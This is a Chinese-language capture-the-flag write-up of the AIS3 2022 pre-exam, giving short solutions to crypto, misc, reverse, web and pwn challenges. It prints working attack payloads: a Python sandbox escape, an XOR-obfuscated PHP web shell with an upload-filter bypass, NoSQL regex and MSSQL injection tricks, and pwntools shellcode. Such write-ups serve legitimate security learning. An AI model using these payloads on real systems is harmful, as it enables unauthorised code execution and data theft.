[心得] AIS3 2022 Pre-exam WriteUp
[TOC]
## 成績
![Score](https://img.stoneapp.tech/t510599/ais3-2022/pre-exam/score.jpeg)
看[完整 Profile](https://img.stoneapp.tech/t510599/ais3-2022/pre-exam/profile.jpeg)
很長的[ScoreBoard](https://img.stoneapp.tech/t510599/ais3-2022/pre-exam/scoreboard.jpeg)
## 前言
今年沒空認真打 被一堆考試跟 project 追殺中 大概總共只空出了一天半的時間打這場 QQ
意外的是這次名次反而上去了
## Crypto
### SC
用 cipher.py 與 cipher.py.enc 兩個檔案互相對照取得字典
以此字典解密
## Misc
### Excel
Excel 打開 -> 執行巨集 -> flag
### Gift in the dream
![](https://i.imgur.com/dxBVpTH.png)
用 GIMP 打開發現每個 frame 的 duration // 10 長得很 ASCII Code
寫個 python 用 Pillow 獲得各 frame 的持續時間
然後抓出來 // 10 並轉回 ASCII 字元取得 flag
### Knock
![](https://i.imgur.com/4q3hA0S.png)
抓個包發現他會用 udp 來敲你的 port
將 port 依序 % 1000 即為 ASCII
### Seadog's Webshell
找到符合 base64 規則的指令印 env -> `printenv`
exploit: `echo "printenv" | base64 -d | nc -N chals1.ais3.org 12369`
nc 要加上 `-N` 才不會讓連線 hang 在那邊
### ASTJail
![](https://i.imgur.com/J3kYfEt.png)
查看 Slice 定義 發現少過濾 step (`[lower\:upper\:step]`)
因此在 step 處做 RCE
用字串拼接繞關鍵字
payload:
```
''[::print(globals()['__builtins__']['__import_'+'_']('os').listdir('/home/ctf'))]
''[::print(open('/home/ctf/ # THE FLAG # ').read())]
```
## Reverse
### Time Management
![](https://i.imgur.com/rIJ3hlR.png)
直接 binary patch 掉 sleep 的秒數
執行時把輸出隨便 redirect 到其他檔案 打開即有 flag
### Calculator
用 dotPeek 直接 decompile
按照各個自定義的 operator 觀察其 right[] 的驗證規則回推 flag
### 殼
用 `wenyan -c` 輸出 js 檔案
逆出來:
- `營`: 地板除
- `削`: bitwise and
- `型`: 將兩個 6 bit 參數轉換為帶 console color code 的中文字
- `禱`: 類似 base64 的 function 只是用 `型` 跟 `師` 來查表
每三個字的輸入會被分為 `aaaaaa|aabbbb|bbbbcc|cccccc` 共兩個字的輸出 (每個字各使用兩個參數)
`\\x1b[38\:5\:181m獎` 可以從中抽出 `181` 與 `獎`
接著按照規則把 bits 拼回去 然後 decode 得到 flag
### Rideti
![](https://i.imgur.com/KvTp6hN.png)
`update_game_main` 中 `uVar4` 為存分數的地方
須達到 0x39ab380bdab 分才能拿 flag
![](https://i.imgur.com/Qs47qyF.png)
其位置在 `0x48d810`
![](https://i.imgur.com/Inz1IcH.png)
用 cheat engine 直接改 拿到 flag
## Web
### Simple File Uploader
副檔名過濾可用 `.phP` 繞過
檔案內容檢查可用 XOR 字串繞過 `'system'` -> `'393480'^'@@@@]]'`
payload:
```php
<?php
echo ('393480'^'@@@@]]')($_GET[1]);
?>
```
### Poking Bear
先掃過一趟 id 得到 secret bear 的 id
再將 cookie 設成 `human=bear poker`
然後 poke
### The Best Login UI
form 的 password 部分可以將 name 改成 `password[$regex]`
這樣在丟進資料庫查詢的時候 就會是以下結構:
```json
{
"username": "admin",
"password": {
"$regex": "/pattern/"
}
}
```
將 pattern 設定為 `f"^{quote(known + guessing)}"`
寫個腳本一個一個字元炸
### Cat Emoji Database 🐱
先透過 `"USER_ID(1)=USER_ID(1)"` 得知是 MSSQL
雖然 ` `, `\n`, `\r`, `\t` 等會被 `\s` 過濾掉
但是仍有其他空白字元可以在 MSSQL 中取代空白 這裡挑 `\x01`
用 UNION SELECT 炸 table 跟 column
最後就能取得 flag
## PWN
### BOF2WIN
直接 BOF 蓋掉 RIP
跳到 read flag 處
### Give Me SC
透過 pwntools 的 shellcraft 產生 shellcode
可直接使用 `shellcraft.cat()` 生成
```python
from pwn import *
context.os = 'linux'
context.arch = 'aarch64'
shellcraft.cat("/home/give_me_sc/flag")
```
2022-06-08 01:47:39
留言
Last fetch: --:--
現在還沒有留言!